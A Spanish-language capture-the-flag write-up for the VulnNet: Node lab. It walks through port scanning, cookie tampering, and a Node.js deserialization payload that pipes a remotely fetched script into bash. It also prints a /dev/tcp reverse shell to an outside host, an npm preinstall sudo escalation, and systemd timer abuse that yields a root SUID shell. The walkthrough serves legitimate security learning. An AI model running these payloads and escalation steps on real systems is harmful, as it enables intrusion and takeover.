VulnNet2 Node

logo

Link

VulnNet Entertainment has moved its infrastructure and now they’re confident that no breach will happen again. You’re tasked to prove otherwise and penetrate their network.

Difficulty: Easy
Web Language: JavaScript

This is again an attempt to recreate some more realistic scenario but with techniques packed into a single machine. Good luck!

Author: SkyWaves
Discord: SkyWaves#1397

1. Fase de reconocimiento

  • Para conocer a que nos estamos enfrentando lanzamos el siguiente comando:
ping -c 1 {ip}

ping

  • De acuerdo con el ttl=63 sabemos que nos estamos enfrentando a una máquina con sistema operativo Linux.

2. Enumeración / Escaneo

  • Escaneo de la totalidad de los 65535 puertos de red el cual guardamos en un archivo en formato nmap con el siguiente comando:

└─# nmap -p- -sS –min-rate 5000 –open -vvv -n -Pn {ip} -oN allports


![nmap_allports](/assets/images/thm-writeup-vuln/vuln_nmap_allports.png)

---

- De acuerdo con el escaneo anterior, se encuentran el siguiente puerto abierto; 8080 (htp)

- Escaeno de vulnerabilidades sobre los puerto 8080:


nmap -v -A -sC -sV -Pn {ip} -p22,80 --script vuln


  • Whatweb nos da la siguiente información:

whatweb {ip}


![what_web](/assets/images/thm-writeup-vuln/vuln_whatweb.png)

---

- Revisión de la URL **_<http://10.10.8.158:8080>_**:

![URL](/assets/images/thm-writeup-vuln/vuln_web.png)

- Buscando el la ruta **_robots.txt_**, no se encontró nada interesante:

![URL](/assets/images/thm-writeup-vuln/vuln_robots_txt.png)

---

## 3. WFUZ

- Escaeno de subdominios con wfuzz:


└─# wfuzz --hc=404 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt 10.10.8.158:8080/FUZZ/
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.8.158:8080/FUZZ/
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000002:   200        0 L      706 W      7577 Ch     "#"
000000004:   200        0 L      706 W      7577 Ch     "#"
000000053:   200        112 L    229 W      2127 Ch     "login"
000000825:   200        112 L    229 W      2127 Ch     "Login"
  • Con el anterior escaner encotramos una página de inicio de sesión login - Login :

Login


4 Burpsuite

  • De acuerdo con la información anterior procedemos a analizar con Burpsuite la resolución de la petición del login

Burp

  • Enviamos la petición al Repeater, paso seguido analizamos como se resuelve la petición y encontramos lo siguiente:

Burp

  • Decodificando la cookie de sesión encontramos el siguiente resultado:

Burp_decode

  • Modificamos la petición de nuestra cookie, la codificamos en base 64 y obervamos en la respuesta que nos recibe como usuario root.

Burp

5. Exploit

  • Con la información obtenida procedemos a crear una rshell.sh, desde la máquina atacante, como se observa a continuación:
#!/bin/bash
bash -i >& /dev/tcp/10.9.0.27/2222 0>&1
  • Compartimos la rshell-sh, desde un servidor en python como se observa a continuación:
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
  • Nos ponemos por escucha desde el puerto 2222:
└─# nc -nlvp 2222
listening on [any] 2222 ...
  • Cargamos nuestro payload en burpsuite:

{“username”:”_\(ND_FUNC\)_function (){\n \t require(‘child_process’).exec(‘curl 10.9.0.27/rshell.sh | bash’, function(error, stdout, stderr) { console.log(stdout) });}()”,”isGuest”:false,”encoding”: “utf-8”}


![Burp](/assets/images/thm-writeup-vuln/vuln_payload.png)

- Codificacmos el payload en base 64:

![Burp](/assets/images/thm-writeup-vuln/vuln_payload_64.png)

- Obtenemos nuestra reverse shell:

![Burp](/assets/images/thm-writeup-vuln/vuln_exploit.png)

## 6. Bandera de usuario

- Buscamos la forma de escalar privilegios con el comando **_sudo -l_**, en la salida podemos ver que se puerde ejecutar **_npm_** como **_usr_**:


sudo -l
Matching Defaults entries for www on vulnnet-node:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www may run the following commands on vulnnet-node:
    (serv-manage) NOPASSWD: /usr/bin/npm

gtfobins

  • Ejecutamos lo indicado en la imagen anterior:

$ TF=$(mktemp -d) $ echo ‘{“scripts”: {“preinstall”: “/bin/sh”}}’ > $TF/package.json $ chmod +x $TF $ sudo -u serv-manage /usr/bin/npm -C $TF –unsafe-perm i $ locate user.txt $ cat usr.txt THM{[??????}


---

## 7. Bandera root

- Tratamiento de la bash para poder utilizar las diferentes funciones necesarias para trabajar de manera comoda:


$ script /dev/null -c bash
Script started, file is /dev/null

[crtl z]

/$ ^Z
zsh: suspended  nc -nlvp 2222

[reset y xterm]

~$> stty raw -echo; fg

[1]  + continued  nc -nlvp 2222
                              reset
reset: unknown terminal type unknown
Terminal type? xterm

[Exportamos las variables de entorno]

/$ export TERM=xterm
/$ export SHELL=bash

[Consultamos en la máquina atacante las filas y columnas]

stty size
27 97

[Pasamos la configuración anterior a la reverse shell]

:/$ stty rows 40 columns 123

  • Buscamos la forma de escalar privilegios con el comando sudo -l, en la salida observamos lo siguiente:

serv-manage@vulnnet-node:~$ sudo -l Matching Defaults entries for serv-manage on vulnnet-node: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User serv-manage may run the following commands on vulnnet-node: (root) NOPASSWD: /bin/systemctl start vulnnet-auto.timer (root) NOPASSWD: /bin/systemctl stop vulnnet-auto.timer (root) NOPASSWD: /bin/systemctl daemon-reload


---

- Modificamos el script **_vulnnet-auto.timer_**, cambiando el tiempo de ejecución de 30 a 1 minuto:

![Vulnet-timer](/assets/images/thm-writeup-vuln/vuln_root3.png)

---

- Modificamos el script **_vulnet-job.service_**, el cual es llamado con el script de la imagen anterior, para que cree una **_bash_** como usuario **_root_**

![Vulnet-job](/assets/images/thm-writeup-vuln/vuln_root2.png)

---

- En este punto procedemos a detener el servicio **_vulnnet-auto.timer_** y reiniciarlo como se observa a continuación:


serv-manage@vulnnet-node:~$ sudo /bin/systemctl stop vulnnet-auto.timer
serv-manage@vulnnet-node:~$ sudo /bin/systemctl daemon-reload
serv-manage@vulnnet-node:~$ sudo /bin/systemctl start vulnnet-auto.timer

  • De acuerdo con la modificación del tiempo, esperamos 1 minuto y revisamos si la bashroot, fue creada:

serv-manage@vulnnet-node:~$ /tmp/bashroot -p ```


  • Llegado a este punto tenemos acceso como usuario con privelegios root

Vulnet-job


7. Fuentes

  • Writeup:

https://titus74.com/thm-writeup-vulnnet-node/

  • Gtfobins

https://gtfobins.github.io/gtfobins/npm/